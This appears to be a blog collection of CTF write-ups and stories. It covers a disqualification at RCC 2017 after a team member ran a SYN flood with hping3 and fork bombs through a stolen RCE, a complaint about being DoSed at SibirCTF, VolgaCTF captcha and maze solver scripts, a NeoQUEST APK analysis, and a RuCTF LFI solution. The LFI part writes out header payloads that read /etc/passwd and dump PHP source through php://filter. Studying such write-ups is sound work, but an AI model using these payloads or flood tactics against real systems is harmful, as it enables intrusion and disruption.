RCC-2017 дисквал writeup (дополнительная задача)

Как-то раз приехали мы на RCC 2017, а он нам как раз, и получили дисквалификацию. В результате каминг-аута (правда, немного запоздалого) крыса-куна, который это провернул, нам удалось выяснить подробности этой операции.

Прежде всего, отметим что на CTF было 4 сервиса, ни один из которых не работал по HTTP, а первый из коробки не работал вообще. Один из сервисов был нативным, и именно на нем мы и сконцентрируемся в данном рассказе.

Сами мы ни одной уязвимости не нашли (кроме сервиса, который никто не раскурил, где удалось найти уязвимость с математикой, но у меня с ней в итоге были problemes), но зато спёрли обе найденные другими командами.

Типичный эксплойт, в котором мы уж точно понимаем, что и как работает

Лично я обычно угорал по безобидным форк-бомбам и всему такому, однако эксплойт достаточно быстро стал общественным достоянием нашей команды и стал использоваться для самых различных целей.

Что характерно, уже к этому моменту сеть чувствовала себя не очень здоровой, а интернет выглядел так, как будто его раздают через один йотовский модем, который взяли погонять на триальный период.

Через некоторое время, впрочем, сеть легла насовсем, и никто из организаторов не мог сказать нам, что произошло. После того как мы пришли разбираться, в чём дело, нам еще и положили все сервисы на несколько раундов.

Как позже оказалось, данное поведение сети (вроде бы) было вызвано поведением некоего неизвестного из нашей команды, который запустил от имени других команд флуд-атаку на команду-автора этого RCE эксплойта (что весьма иронично). По проверенной информации от крыса-куна, он в общем-то даже не понял, что это как-то связано с его деятельностью, так как непосредственно после запуска hping сеть еще поднималась, а потом, уже только минут через 10, легла без всяких дополнительных запусков hping.

Немного модифицированный эксплойт — SYN-флуд, ставший стандартом де-факто в Attack-Defense

Для запуска флудилки из docker-контейнера было необходимо также решить некоторые проблемы, например, отсутствие DNS-сервера и переменной PATH в заспавненном шелле. А также для удобства установки был выбран именно инструмент из репозиториев, hping3.

Что интересно, сами мы данную бинарную уязвимость не патчили иначе чем фаерволлом, несмотря на ее потенциальную опасность.

Твоё лицо, когда на фаерволле включен мат-фильтр

А также при помощи килляния подозрительных bash-сессий, удаления bash, sh и, собственно, rm.

(на самом деле нет)

Тем не менее, несмотря на все усилия, образ у нас был стерт порядка 6 раз, интересно, что по этому поводу думает пункт правил о запрете "проводить деструктивные атаки на серверы команд-соперниц (например, rm –rf /)". Хотя, какие уж там правила, на сайте RCC их, естественно, и вовсе не было.
Важно также отметить, что во время проведения флуда никто из организаторов предпочитал к нам не подходить (или к кому-либо), хотя на других соревнованиях в случае генерации больших объемов трафика команде сперва выносится предупреждение.

По итогам, учитывая все обстоятельства, дисквалификация, хотя и является разумной по правилам (ну, тем самым, о которых вообще не было объявлено), выглядит более как попытка оправдать проблемы с сетью, возникшие задолго до инцидента.
Впрочем, надо сказать, попытка более чем успешная.

Почему региональный классический CTF уже мертв.

“Автосервис. Клиент смотрит счет и спрашивает у мастера:

- А что за пункт "Прокатило" - 10000 руб???

Мастер:

- Не прокатило? Вычеркиваем…”

Месяц с лишним назад мы поучаствовали в очередном SibirCTF: на этот раз мы решили выставить две команды от университета, благо правила это позволяли, взяв с собой множество новичков. К сожалению, мы не смогли посетить конференцию, проходившую в первый день, в том числе и услышать доклад Андрея Гейна под интригующим названием “Почему классический CTF должен умереть”. Впрочем, как говорится, порой лучше один раз увидеть, чем тысячу раз услышать... нам же довелось еще и поучаствовать.

В начале соревнований все шло относительно неплохо, настолько, насколько все могло быть неплохо в условиях разделения старого состава команды пополам и дополнения новичками. Конечно, соревнования сочетали контест сетевых администраторов-сумасшедших (благодаря оригинальному использованию и без того мерзкого Docker) и Backdoor CTF (большинство уязвимостей были рода if username==vasya then setuid(0)), что после почти безупречных финалов VolgaCTF здорово ударило по нашему рвению к победе, но, тем не менее, до конца соревнований нам удавалось держаться на втором месте.

До тех пор, пока за 10 минут до конца мы не обнаружили свою виртуальную машину зависшей наглухо. Все время соревнований мы сохраняли дампы сетевого трафика, и один раз у нас успело кончиться место. Мы решили, что в этот раз случилось то же самое и удалили их. Но, что характерно, это не помогло, а CPU#0 начинал быть stuck for %d s. По счастливой случайности, администратор нашей команды догадался сделать netstat и увидел целую стену SYN соединений. Что странно, не все они были от роутера, часть из них была из подсети некоей команды #3. Как оказалось, это была небезызвестная команда Life, находившаяся на 3 месте… на тот момент. Мы немедленно позвали администраторов, однако они просто посмотрели на это, развернулись и ушли. К тому времени мы уже опустились на 3 место.

Типичный трафик на SibirCTF

После конца соревнований, мы, конечно, стали добиваться апелляции и дисквалификации команды-нарушителя, и во время разбора полетов узнали интересные вещи:

• Прежде всего, мы видели оригинальные IP потому что роутер не успевал их маскировать из-за большой нагрузки. Но это не атака на инфраструктуру, потому что, “А если я вам поставлю очень тормозные роутеры, что, всех будем дисквалифицировать?”. Доведение до абсурда это, конечно, хлеб демагога, но в этот раз он оказался сладким.
• 250 висящих коннектов это ничего страшного. Даже если по ним не идут данные. Вдруг они только в эту секунду 250, а раньше и потом их по нулям было.
• Атака по сервису, который никто не сумел раскопать это ок…
• ...даже если “атакующая” команда еще и вдобавок отказывается предоставить атакующие скрипты…
• ...как и просто информацию об используемой уязвимости.
• Никакого логгирования трафика не идет от слова совсем. На RuCTF логгирование давно уже стало стандартной практикой.
• И самая мякотка “Ну, мы еще подумаем, что делать с вашими командами, кто что нарушил.”. Ну да, действительно, нас закидали SYN-флудом, а потом еще и дисквалифицируют.

После этого нам пообещали разобраться и сообщить решение в течение пары дней. Тем вечером, по приезду в Новосибирск, нам удалось восстановить с диска виртуальной машины удаленные дампы трафика (во избежание фальсификаций данных нами, мы скопировали файлы виртуальной машины организаторам еще в Томске). Что характерно, этот файл было легко отличить от остальных по чертовски большому объему: Wireshark тоже иногда падал при обработке. Естественно, там SYN-флуд можно было разглядеть во всей красе и подробностях. Мы немедленно отправили дамп и инструкции по его получению организаторам.

Однако, видимо время в этом городе идет иначе чем у нас, поэтому ответ нам удалось получить только через месяц.

Решение было таковым: скорборд откатывается на 10 минут назад, и один участник команды Life дисквалифицирован.

Может показаться, что все в порядке, но есть пара нюансов:

• Прежде всего, доказательства нам буквально удалось собрать только чудом.
  Заглючивший роутер, показавший IP, ведение нами дампов, удачное восстановление удаленных данных с диска. Если не было бы хоть чего-то из этого, нас скорее всего послушали бы столь же долго, как когда мы показывали netstat во время атаки.
• Команда Life вообще не заморачивалась содействием следствию: каждый из тех, кого спрашивали об инциденте “говорил за себя” что это не он, а про остальных он ничего не знает. Сложно поверить что у команды на 3 месте была такая “слаженная” игра, что никто ничего друг о друге не знает.
• Положение предусматривает единственную меру наказания: дисквалификацию команды. Если учесть, что команда успела провести DoS атаку, завалить сетевую инфраструктуру и вдобавок изменить этим скорборд, такое решение выглядит по меньшей мере странным.

Подводя черту, можно сделать вывод: если на региональном классическом CTF вашу команду заддосят, максимум что получит команда-нарушитель, даже если вы найдете все доказательства, это возврат всего как было и дисквалификацию одного участника, который милостиво возьмет на себя вину.

Но скорее всего вы их не найдете.

И организаторы - последние, кто будет вам с этим помогать.

VolgaCTF 2016 Quals — YACST2 (PPC 350)

YACST2

Captcha is a modern simple Turing test for everyday use, for human it's simple, but for bot or a simple neural network captcha can become a hard nut to crack.

You can try to solve it with your AI too, but it definitely can be solved with several lines of code, isn’t it?

link

Hints

1. gist
2. gist2 Adding a Noise

---

OK, so that's yet another captcha. We navigate to the site and see the form where we're asked to enter the captcha 3000 times.

That's YACST2, so there was the first YACST. Google shows us some writeups on YACST (which was on VolgaCTF 2015). The task is quite similar: we have an audio captcha (WAV file with five digits pronounced). The sound is quite noisy. As I don't know shit about WAV files (and don't have any of these fancy Python modules to work with it), I've wanted to do something with these files, so I could solve the task the other way.

At first I wanted to use something like Audacity's "sound search" feature, which returns marks on sound beginning and sound end. As we have only ten different samples, I thought that could be enough to determine which one it is by simply calculating its duration.

Audacity cannot be controlled with command line arguments, so I needed another solution. I've found sox, which is 100% command line utility to work with sounds. The only drawback was that I couldn't find anything like "sound search" feature.

That's when I've bumped into the spectrogram:

sox can generate us a spectrogram image of any sound. We have only 10 samples to recognize and those are quite separated from each other in this sound. So, I've decided to take OpenCV and just find samples on the image. That was easy:

So, with someone's old YACST script to send the captchas to server, curl to download the captcha, sox to generate spectrogram and OpenCV to find the digits, I've been solving these captchas. It wasn't 100% recognition, because sounds were with varied duration, but that was enough. 3000 captchas were solved in a few hours:

So,

FLAG: VolgaCTF{Sound IS L1ke M@th if A+B=C THEN C-B=A}

Script:

import cv2
import numpy as np
import os
import urllib2

specs = [["0"], ["1"], ["2"], ["3"], ["4"], ["5", "5_2"], ["6", "6_2"], ["7"], ["8"], ["9"]]
templates = []

for i in range(0, 10):
    templates += [[]]
    for j in range(0, len(specs[i])):
        templates[i] += [cv2.imread('templates/spectrogram{0}.png'.format(specs[i][j]),0)]

def detect(img):
    out = []

    for i in range(0, 10):
        for j in range(0, len(templates[i])):
            template = templates[i][j]
            res = cv2.matchTemplate(img,template,cv2.TM_CCOEFF_NORMED)
            threshold = 0.85
            loc = np.where( res >= threshold)
            for pt in zip(*loc[::-1]):
                out += [(pt[0], i)]
    
    out = sorted(out, key=lambda a_entry: a_entry[0])

    newout = []

    if len(out) == 0:
        return []

    prev_x, prev_v = out[0]    
    n = False
    for i in range(0, len(out)):
        x, v = out[i]
        if x-prev_x < 10 and v == prev_v:
            #same
            pass
        else:
            newout += [prev_v]
            prev_x = x
            prev_v = v
            n = True
    if n:
        newout += [prev_v]

    return newout

def find():
    #make spectrogram
    os.system("D:/Programs/sox-14-4-2/sox captcha.wav -n spectrogram")
    img = cv2.imread('spectrogram.png',0)

    #detect
    c = ""
    o = detect(img)
    for x in o:
        c += str(x)
    return c

while(True):
    cookee="JSESSIONID=kjavTFD2FYNe1_oOdQNcan6CbSprbCXUi87z-TTn"
 
    #download
    os.system("D:/Programs/cygwin64/bin/curl -s --header \"Cookie: "+cookee+"\" http://yacst2.2016.volgactf.ru:8090/captcha --output captcha.wav")

    c = find()
    print(c)

    #answer
    url="http://yacst2.2016.volgactf.ru:8090/captcha"
    data="captcha="+c
    cookie ={"Cookie":cookee}
    req = urllib2.Request(url,data,cookie)
 
    try:
        f = urllib2.urlopen(req)
        print(f.read())
    except urllib2.HTTPError:
        print("error")

VolgaCTF 2016 Quals — Amazing (PPC 250)

Amazing

An important step towards the strong AI is the ability of an artificial agent to solve a well-defined problem. A project by the name 'amazing' was one of such test problems. It's still up...

nc amazing.2016.volgactf.ru 45678

---

So, what we have here is yet another task with lots of rounds to be completed in order to get the flag.

$ nc amazing.2016.volgactf.ru 45678
Find the way out!
Use 'l\n', 'u\n', 'r\n' and 'd\n' to move left, up, right or down, respectively.
You can also make more than a single move at a time, e.g. 'rrdlllddru\n'
N.B. the very last symbol must be '\n'
.Good luck!

Round number 1
+---+---+---+---+---+---#################################################################################################################################################
| *     |               #################################################################################################################################################
+---+   +   +   +---+---#################################################################################################################################################
|   |   |   |           #################################################################################################################################################
+   +   +   +---+---+   #################################################################################################################################################
|   |   |   |       |   #################################################################################################################################################
+   +   +   +   +   +---#################################################################################################################################################
|       |   |   |       #################################################################################################################################################
+   +---+---+   +---+   #################################################################################################################################################
|   |       |       |   #################################################################################################################################################
+   +   +   +---+   +---#################################################################################################################################################
|       |   |       |   #################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################
#########################################################################################################################################################################

Try to solve this by hand and eventually you'll get

Your decision making is too slow

message.

I really hate when graph/field is defined with ASCII-art. It's OK when each character is one cell, but when cells are larger — with all these '|' and '-' walls — it drives me nuts.

That's why I didn't parse that field so I could use some DFS to find the exit. I just saved it all as Python's list of strings and was looking for '*' character in there. It is known that you can exit the maze by following the right wall. So that's exactly what I did. I remembered the last "direction" and was making a move to the first free cell (in "right" order).

That solution was working, but it was too slow. So, I've started doing this moves right in that list — by moving '*' character from cell to cell. When there is '#' character around, I was sending all the moves I did to the server.

Printing the whole field every step was fine for debug, but not really good for speed. I removed it and started waiting. After the round 300, I wasn't getting any output — my script was waiting for the next round and wasn't printing the flag server gave it.

I was actually streaming it live on Twitch (switching off the screencast when close to round 300):

So, I've started over — I thought it was a glitch at first. I've also modified the script to print what was received from server later and launched that too. So, that second try was as successful as the first one — nothing after the round 300. The third one was almost there — on round 274 — when organizers restarted the task.

After the restart server was answering very fast — and it also was asking to solve only 30 rounds. That's how I finally got the flag:

Congratulations! Your flag is: VolgaCTF{eurisco!}

So, that's the script:

#!/usr/bin/env python
import time
import sys, socket, struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("amazing.2016.volgactf.ru", 45678))
print(s.recv(1024).decode('utf-8'))

last_wall = "l"

def decide(lines, row, col, last_wall):
 where = ""
 left_free = False
 down_free = False
 right_free = False
 up_free = False

 PRINT_FREE = False

 if col>1 and lines[row][col-2] == ' ':
  if PRINT_FREE:
   print("no wall on the left")
  left_free = True

 if row<len(lines)-1 and lines[row+1][col] == ' ':
  if PRINT_FREE:
   print("no wall on the bottom (down)")
  down_free = True

 if col<len(lines[row])-2 and lines[row][col+2] == ' ':
  if PRINT_FREE:
   print("no wall on the right")
  right_free = True

 if row>0 and lines[row-1][col] == ' ':
  if PRINT_FREE:
   print("no wall on the top (up)")
  up_free = True

 if (col>1 and lines[row][col-2] == '#') or (row<len(lines)-1 and lines[row+1][col] == '#') or (col<len(lines[row])-2 and lines[row][col+2] == '#') or (row>0 and lines[row-1][col] == '#'):
  return ("", last_wall)

 if last_wall == "l":
  if left_free:
   where = "l"
   last_wall = "u"
  elif down_free:
   where = "d"
   last_wall = "l"
  elif right_free:
   where = "r"
   last_wall = "d"
  elif up_free:
   where = "u"
   last_wall = "r"
  else:
   print("AAAAAAAAAAAAAAAAA")
 elif last_wall == "d":
  if down_free:
   where = "d"
   last_wall = "l"
  elif right_free:
   where = "r"
   last_wall = "d"
  elif up_free:
   where = "u"
   last_wall = "r"
  elif left_free:
   where = "l"
   last_wall = "u"
  else:
   print("AAAAAAAAAAAAAAAAA")
 elif last_wall == "r":
  if right_free:
   where = "r"
   last_wall = "d"
  elif up_free:
   where = "u"
   last_wall = "r"
  elif left_free:
   where = "l"
   last_wall = "u"
  elif down_free:
   where = "d"
   last_wall = "l"
  else:
   print("AAAAAAAAAAAAAAAAA")
 elif last_wall == "u":     
  if up_free:
   where = "u"
   last_wall = "r"
  elif left_free:
   where = "l"
   last_wall = "u"
  elif down_free:
   where = "d"
   last_wall = "l"
  elif right_free:
   where = "r"
   last_wall = "d"
  else:
   print("AAAAAAAAAAAAAAAAA")
 else:
  print("BBBBBBB")

 return (where, last_wall)

def setv(field, r, c, v):
 field[r] = field[r][:c] + v + field[r][c+1:]

def do_step(field, where, row, col):
 setv(field,row,col,' ')
 if where=="d":
  row+=2
 if where=="u":
  row-=2
 if where=="l":
  col-=4
 if where=="r":
  col+=4
 if not wereout(field, row, col):
  setv(field,row,col,'*')
 return (row, col)

def print_field(field):
 for r in range(0, len(field)):
  print("{0:2}: {1}".format(r, field[r]))

def wereout(field, mrow, mcol):
 return mrow<0 or mrow>len(field) or mcol<0 or mcol>len(field[0])

def walk(field, last_wall):
 mrow = -1
 mcol = -1

 w = len(field[0])
 h = len(field)

 for r in range(0, h):  
  for c in range(0, w):
   if field[r][c] == '*':
    mrow = r
    mcol = c
    break
  if mrow != -1:
   break

 if mrow == -1 or mcol == -1:
  sys.exit(0)

 WALKING_LEN = 500

 seq = ""
 while len(seq)<WALKING_LEN:  
  where, new_last_wall = decide(field, mrow, mcol, last_wall)
  if where == "":
   break   
  mrow, mcol = do_step(field, where, mrow, mcol)
  seq += where
  last_wall = new_last_wall
  if mrow<0 or mrow>len(field) or mcol<0 or mcol>len(field[0]):
   break
 return seq, last_wall

def get_field(last_wall):
 field_desc = ""

 while True:
  rcv = s.recv(4096)
  if rcv == None:
   break
  vd = rcv.decode('utf-8')

  for v in vd:
   sys.stdout.write(v)
   if field_desc=="" and v!="+":     
    continue

   if len(field_desc) >= 2 and field_desc[-2:] == "\n\n":
    break

   field_desc += v

  if len(field_desc) >= 2 and field_desc[-2:] == "\n\n":
   break

 lines = field_desc.split('\n')
 return walk(lines, last_wall)

while True:
 last_wall_was = last_wall
 a, last_wall = get_field(last_wall)
 print(a)
 sys.stdout.flush() 
 s.send(a+"\n")

NeoQUEST 2015: как решить raSSLedovanie за 13 минут

Итак, в задании дан APK файл.
В первую очередь я достал classes.dex, применил к нему dex2jar а затем JD-GUI, но поскольку ничего такого очень интересного я там не нашел, я забросил эту идею и пошел смотреть native библиотеки. Внимание привлекает библиотека libndkNative.so, по размеру и названию она выглядит так как будто эта библиотека самописная.
Откроем эту библиотеку IDA лицензионным конечно же.
Известно что все импортируемые при помощи JNI имена функций начинаются с Java_
Читая функцию (и не особо вдаваясь в детали. в самом деле, за 13 минут это даже прочитать-то полностью не получилось бы) замечаем очень подозрительный вызов функции system (или j_j_system). Подозрителен он тем, что в нормальных программах на Android он практически не встречается (и было бы определенно интересно посмотреть а что такое там вообще запускают).
Конечно же это не касается моих программ, например C4droid которым мы и воспользуемся для решения данной задачи.
В составе GCC плагина для C4droid присутствует отладчик gdb, которым можно очень удобно повесить breakpoint на функцию system а затем глянуть что там запускают.
При помощи команды ps определяем PID процесса, а затем прицепляемся к нему при помощи
/data/data/com.n0n3m4.droidc/files/gcc/debugger/gdb /system/bin/app_process PID
Затем ставим breakpoint при помощи
break system
Продолжаем выполнение программы при помощи
c
Жмем Send Request и попадаем на breakpoint.
Затем в регистрах можно увидеть запускаемые команды, интересный параметр хранится в r4
x/s $r4
0x5f401b38:     "/data/data/com.ifree.ndkNative/lib/libcurl.so -k -A \"Android User-Agent\" -H \"Accept-Language: sr\" -d \"765=69d7d41f1bc07bb4d101289acb3b048c\" https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php"
Убирая лишние слеши и заменяя libcurl.so на curl получим
curl -k -A "Android User-Agent" -H "Accept-Language: sr" -d "765=69d7d41f1bc07bb4d101289acb3b048c" https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php
Замечаем что это base64 от ZIP файла (при помощи curl -k -A "Android User-Agent" -H "Accept-Language: sr" -d "765=69d7d41f1bc07bb4d101289acb3b048c" https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php | base64 -d | file -)
Декодируем и распаковываем его и получаем код (в файле code.png):
SSLK3YDB765

RuCTF: Misc 100

We've got a picture of a paper torn into pieces with shredder. The pieces are mixed up, but you can see that they were a screenshot of gmail with an opened message:

The only thing you have to do is to cut the pieces in your favorite image editor and place them in the right order. When you do, it would be easy to read the answer: RUCTF_TO_SHED_IS_NOT_ENOUGH.

RuCTF: Web 100 (php)

The page shows some text from wikipedia (or from somewhere else, I don't care), the interesting thing is that it shows "Language was detect automatically :)" in the end of the text.
It seems like a hint, so let's try to use Accept-Language header.
First of all, set Accept-language to ru/en, the page will change according to the language selected.
So, let's test it for LFI with Accept-language: /etc/passwd, it will show the contents of /etc/passwd!

But there is nothing interesting in /etc/passwd, so let's get the source of the script itself with Accept-language: php://filter/convert.base64-encode/resource=index.php
After decoding base64 we can get the source of script:

<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html> 

The flag is 5cf27d9bad2fe9d96d2bcf25c3b0bd14